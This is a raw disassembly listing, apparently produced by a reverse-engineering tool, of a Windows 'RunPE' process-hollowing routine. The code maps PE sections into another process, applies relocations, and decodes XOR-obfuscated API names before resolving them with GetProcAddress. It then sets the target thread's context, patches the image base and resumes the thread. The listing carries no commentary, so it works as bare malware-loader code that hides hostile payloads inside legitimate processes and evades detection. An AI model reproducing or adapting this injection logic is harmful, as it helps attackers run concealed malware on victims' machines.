mov rax, qword [rsp + 0x198]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x77f], al
mov al, byte [rsp + 0x77f]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x140003097
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
mov qword [rsp + 0x768], 0
mov rax, qword [rsp + 0xa888]
cmp dword [rax + 0xa0], 0
je 0x1400030d4
mov rax, qword [rsp + 0xa888]
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x770], rax
jmp 0x1400030fa
mov dword [rsp + 0x760], 0
mov dword [rsp + 0x764], 0
mov rax, qword [rsp + 0x760]
mov qword [rsp + 0x770], rax
mov qword [rsp + 0x758], 0
mov byte [rsp + 0x757], 0
test byte [rsp + 0x96f], 1
je 0x1400032a5
mov dword [rsp + 0x750], 0
mov eax, dword [rsp + 0x750]
mov rcx, qword [rsp + 0xa888]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140003279
mov rax, qword [rsp + 0xa888]
add rax, 4
add rax, 0x14
mov rcx, qword [rsp + 0xa888]
movzx ecx, word [rcx + 0x14]
add rax, rcx
movsxd rcx, dword [rsp + 0x750]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x748], rax
mov eax, dword [rsp + 0x770]
mov rcx, qword [rsp + 0x748]
cmp eax, dword [rcx + 0xc]
jb 0x1400031c5
mov eax, dword [rsp + 0x770]
mov rcx, qword [rsp + 0x748]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x748]
add ecx, dword [rdx + 8]
cmp eax, ecx
jae 0x1400031c5
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r10, qword [rsp + 0x748]
mov r8d, dword [r10 + 0xc]
mov r9d, dword [r10 + 0x10]
add rdx, r8
mov r8, qword [rsp + 0x960]
mov r10d, dword [r10 + 0x14]
add r8, r10
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x190], rax
jmp 0x140003219
mov rax, qword [rsp + 0x190]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x747], al
mov al, byte [rsp + 0x747]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x14000325e
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
jmp 0x140003263
mov eax, dword [rsp + 0x750]
add eax, 1
mov dword [rsp + 0x750], eax
jmp 0x140003127
cmp qword [rsp + 0x768], 0
jne 0x1400032a0
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
jmp 0x1400033ac
mov dword [rsp + 0x740], 0
mov eax, dword [rsp + 0x740]
mov rcx, qword [rsp + 0xa888]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x1400033a7
mov rax, qword [rsp + 0xa888]
movzx ecx, word [rax + 0x14]
add rax, rcx
movsxd rcx, dword [rsp + 0x740]
lea rcx, [rcx + rcx*4]
lea rax, [rax + rcx*8 + 0x18]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r10, qword [rsp + 0x758]
mov r8d, dword [r10 + 0xc]
mov r9d, dword [r10 + 0x10]
add rdx, r8
mov r8, qword [rsp + 0x960]
mov r10d, dword [r10 + 0x14]
add r8, r10
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x188], rax
jmp 0x140003347
mov rax, qword [rsp + 0x188]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x757], al
mov al, byte [rsp + 0x757]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x14000338c
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
jmp 0x140003391
mov eax, dword [rsp + 0x740]
add eax, 1
mov dword [rsp + 0x740], eax
jmp 0x1400032b0
jmp 0x1400033ac
test byte [rsp + 0x96f], 1
je 0x140003874
mov dword [rsp + 0x73c], 0
mov eax, dword [rsp + 0x73c]
cmp eax, dword [rsp + 0x774]
jae 0x14000386f
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x768]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rsp + 0x73c]
add rax, rcx
mov qword [rsp + 0x730], rax
mov eax, dword [rsp + 0x73c]
add rax, 8
mov dword [rsp + 0x73c], eax
mov rax, qword [rsp + 0x730]
mov eax, dword [rax + 4]
sub rax, 8
shr rax, 1
mov dword [rsp + 0x72c], eax
mov dword [rsp + 0x728], 0
mov eax, dword [rsp + 0x728]
cmp eax, dword [rsp + 0x72c]
jae 0x14000386a
mov rax, qword [rsp + 0x960]
mov rcx, qword [rsp + 0x768]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rsp + 0x73c]
add rax, rcx
mov qword [rsp + 0x720], rax
mov eax, dword [rsp + 0x73c]
add rax, 2
mov dword [rsp + 0x73c], eax
mov rax, qword [rsp + 0x720]
mov ax, word [rax]
shr ax, 0xc
movzx eax, ax
cmp eax, 0
jne 0x1400034a6
jmp 0x140003854
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x730]
mov ecx, dword [rcx]
add rax, rcx
mov rcx, qword [rsp + 0x720]
movzx ecx, word [rcx]
and ecx, 0xfff
add rax, rcx
mov qword [rsp + 0x718], rax
mov dword [rsp + 0x714], 0
lea rcx, [rsp + 0x6f0]
lea rdx, [rsp + 0x6e8]
call sym.runpe_unsigned_char_::__6::operator_____const
jmp 0x1400034fc
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0xa9a8]
mov qword [rsp + 0x178], rax
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0xabf0]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0xabf8], rax
mov rax, qword [rsp + 0xabf8]
movzx eax, word [rax + 0x22]
cmp eax, 0
je 0x1400035fe
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xac18], rax
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0xac18]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0xac0c], 0
cmp dword [rsp + 0xac0c], 0x12
jge 0x1400035f9
mov rax, qword [rsp + 0xac10]
movsxd rcx, dword [rsp + 0xac0c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac0c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x168]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac0c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac0c]
add eax, 1
mov dword [rsp + 0xac0c], eax
jmp 0x140003594
jmp 0x1400035fe
jmp 0x140003603
jmp 0x140003608
mov rcx, qword [rsp + 0x178]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x160], rax
jmp 0x140003622
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x170]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x158], rax
jmp 0x140003648
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x6e0], rax
cmp qword [rsp + 0x6e0], 0
jne 0x14000367f
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa9b0], rax
mov rax, qword [rsp + 0xa9b0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0xac00]
movzx eax, word [rax + 0x22]
cmp eax, 0
jne 0x140003759
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0xac30], rax
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xac30]
mov qword [rsp + 0x148], rax
mov dword [rsp + 0xac24], 0
cmp dword [rsp + 0xac24], 0x12
jge 0x140003754
mov rax, qword [rsp + 0xac28]
movsxd rcx, dword [rsp + 0xac24]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac24]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x148]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac24]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac24]
add eax, 1
mov dword [rsp + 0xac24], eax
jmp 0x1400036ef
jmp 0x140003759
jmp 0x14000375e
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0xa9c0], rax
mov rax, qword [rsp + 0xa9c0]
mov qword [rsp + 0x140], rax
mov dword [rsp + 0xa9bc], 0
cmp dword [rsp + 0xa9bc], 0x12
jge 0x1400037c3
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rsp + 0xa9bc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9bc]
add eax, 1
mov dword [rsp + 0xa9bc], eax
jmp 0x140003789
jmp 0x1400037c8
mov rax, qword [rsp + 0x6e0]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x718]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x714]
mov r9d, 4
call rax
jmp 0x140003800
mov ecx, dword [rsp + 0x7bc]
mov eax, dword [rsp + 0x714]
add eax, ecx
mov dword [rsp + 0x714], eax
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x718]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x714]
mov r9d, 4
call rax
jmp 0x14000384f
jmp 0x140003854
mov eax, dword [rsp + 0x728]
add eax, 1
mov dword [rsp + 0x728], eax
jmp 0x140003438
jmp 0x1400033c5
jmp 0x140003874
mov dword [rsp + 0x410], 0x10000b
lea rcx, [rsp + 0x3e0]
lea rdx, [rsp + 0x3d8]
call sym.runpe_unsigned_char_::__7::operator_____const
jmp 0x140003899
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0xa9d0]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0xac38], rax
mov rax, qword [rsp + 0xac38]
mov qword [rsp + 0x138], rax
mov qword [rsp + 0xac50], rax
mov rax, qword [rsp + 0xac50]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x14000399b
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0xac90], rax
mov qword [rsp + 0xac88], rax
mov rax, qword [rsp + 0xac90]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0xac84], 0
cmp dword [rsp + 0xac84], 0x16
jge 0x140003996
mov rax, qword [rsp + 0xac88]
movsxd rcx, dword [rsp + 0xac84]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac84]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x120]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac84]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac84]
add eax, 1
mov dword [rsp + 0xac84], eax
jmp 0x140003931
jmp 0x14000399b
jmp 0x1400039a0
jmp 0x1400039a5
mov rcx, qword [rsp + 0x130]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x118], rax
jmp 0x1400039bf
mov rdx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x128]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x110], rax
jmp 0x1400039e5
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x3d0], rax
cmp qword [rsp + 0x3d0], 0
jne 0x140003a1c
mov byte [rsp + 0xa8a7], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041d5
mov rax, qword [rsp + 0x3d0]
mov rcx, qword [rsp + 0x8d8]
lea rdx, [rsp + 0x410]
call rax
mov qword [rsp + 0x108], rax
jmp 0x140003a43
mov rax, qword [rsp + 0x108]
test rax, rax
setne byte [rsp + 0x3cf]
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov edx, dword [rsp + 0x4b4]
add rdx, 8
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rsp + 0x7f8]
mov r9d, 4
call rax
mov qword [rsp + 0x100], rax
jmp 0x140003a99
mov rax, qword [rsp + 0x100]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x3ce], al
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xa9e0], rax
mov rax, qword [rsp + 0xa9e0]
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0xac58], rax
mov rax, qword [rsp + 0xac58]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x140003b8b
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xaca8], rax
mov qword [rsp + 0xaca0], rax
mov rax, qword [rsp + 0xaca8]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0xac9c], 0
cmp dword [rsp + 0xac9c], 0x16
jge 0x140003b86
mov rax, qword [rsp + 0xaca0]
movsxd rcx, dword [rsp + 0xac9c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac9c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0xf0]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac9c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac9c]
add eax, 1
mov dword [rsp + 0xac9c], eax
jmp 0x140003b21
jmp 0x140003b8b
jmp 0x140003b90
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0xaa00], rax
mov rax, qword [rsp + 0xaa00]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xa9fc], 0
cmp dword [rsp + 0xa9fc], 0x16
jge 0x140003bf5
mov rax, qword [rsp + 0xe8]
movsxd rcx, dword [rsp + 0xa9fc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9fc]
add eax, 1
mov dword [rsp + 0xa9fc], eax
jmp 0x140003bbb
jmp 0x140003bfa
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x398]
call sym.runpe_unsigned_char_::__8::operator_____const
jmp 0x140003c14
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0xa888]
mov ecx, dword [rcx + 0x28]
add rax, rcx
mov dword [rsp + 0x4c0], eax
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9c8], rax
mov rax, qword [rsp + 0xa9c8]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0xac40]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xac48], rax
mov rax, qword [rsp + 0xac48]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x140003d33
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xac78], rax
mov qword [rsp + 0xac70], rax
mov rax, qword [rsp + 0xac78]
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0xac6c], 0
cmp dword [rsp + 0xac6c], 0x16
jge 0x140003d2e
mov rax, qword [rsp + 0xac70]
movsxd rcx, dword [rsp + 0xac6c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xac6c]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0xc8]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xac6c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xac6c]
add eax, 1
mov dword [rsp + 0xac6c], eax
jmp 0x140003cc9
jmp 0x140003d33
jmp 0x140003d38
jmp 0x140003d3d
mov rcx, qword [rsp + 0xd8]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0xc0], rax
jmp 0x140003d57
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xd0]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0xb8], rax
jmp 0x140003d7d
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov rcx, qword [rsp + 0x8d8]
lea rdx, [rsp + 0x410]
call rax
mov qword [rsp + 0xb0], rax
jmp 0x140003db4
mov rax, qword [rsp + 0xb0]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x38f], al
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9d8], rax
mov rax, qword [rsp + 0xa9d8]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xac60], rax
mov rax, qword [rsp + 0xac60]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x140003ea6
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xacc0], rax
mov qword [rsp + 0xacb8], rax
mov rax, qword [rsp + 0xacc0]
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0xacb4], 0
cmp dword [rsp + 0xacb4], 0x16
jge 0x140003ea1
mov rax, qword [rsp + 0xacb8]
movsxd rcx, dword [rsp + 0xacb4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xacb4]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0xa0]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xacb4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xacb4]
add eax, 1
mov dword [rsp + 0xacb4], eax
jmp 0x140003e3c
jmp 0x140003ea6
jmp 0x140003eab
lea rax, [rsp + 0x3a0]
mov qword [rsp + 0xa9f0], rax
mov rax, qword [rsp + 0xa9f0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa9ec], 0
cmp dword [rsp + 0xa9ec], 0x16
jge 0x140003f10
mov rax, qword [rsp + 0x98]
movsxd rcx, dword [rsp + 0xa9ec]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa9ec]
add eax, 1
mov dword [rsp + 0xa9ec], eax
jmp 0x140003ed6
jmp 0x140003f15
lea rcx, [rsp + 0x370]
lea rdx, [rsp + 0x368]
call sym.runpe_unsigned_char_::__9::operator_____const
jmp 0x140003f2f
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0xaa08]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0xaa10]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0xaa20]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x14000402b
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xaa50], rax
mov qword [rsp + 0xaa48], rax
mov rax, qword [rsp + 0xaa50]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0xaa44], 0
cmp dword [rsp + 0xaa44], 0xd
jge 0x140004026
mov rax, qword [rsp + 0xaa48]
movsxd rcx, dword [rsp + 0xaa44]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa44]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x78]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa44]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa44]
add eax, 1
mov dword [rsp + 0xaa44], eax
jmp 0x140003fc4
jmp 0x14000402b
jmp 0x140004030
mov rcx, qword [rsp + 0x88]
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov qword [rsp + 0x70], rax
jmp 0x140004047
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x68], rax
jmp 0x140004067
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x8d8]
call rax
jmp 0x14000408b
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa8c8], rax
mov rax, qword [rsp + 0xa8c8]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0xaa30], rax
mov rax, qword [rsp + 0xaa30]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x140004159
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xaa80], rax
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xaa80]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0xaa74], 0
cmp dword [rsp + 0xaa74], 0xd
jge 0x140004154
mov rax, qword [rsp + 0xaa78]
movsxd rcx, dword [rsp + 0xaa74]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa74]
mov r8d, 0x31
cdq
idiv r8d
mov rax, qword [rsp + 0x58]
add edx, 0x35
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa74]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa74]
add eax, 1
mov dword [rsp + 0xaa74], eax
jmp 0x1400040f2
jmp 0x140004159
jmp 0x14000415e
lea rax, [rsp + 0x370]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0xa8e0]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0xa8dc], 0
cmp dword [rsp + 0xa8dc], 0xd
jge 0x1400041bd
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rsp + 0xa8dc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa8dc]
add eax, 1
mov dword [rsp + 0xa8dc], eax
jmp 0x140004186
jmp 0x1400041c2
mov byte [rsp + 0xa8a7], 1
mov dword [rsp + 0x89c], 1
lea rcx, [rsp + 0xa308]
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov al, byte [rsp + 0xa8a7]
and al, 1
movzx eax, al
add rsp, 0xacc8
ret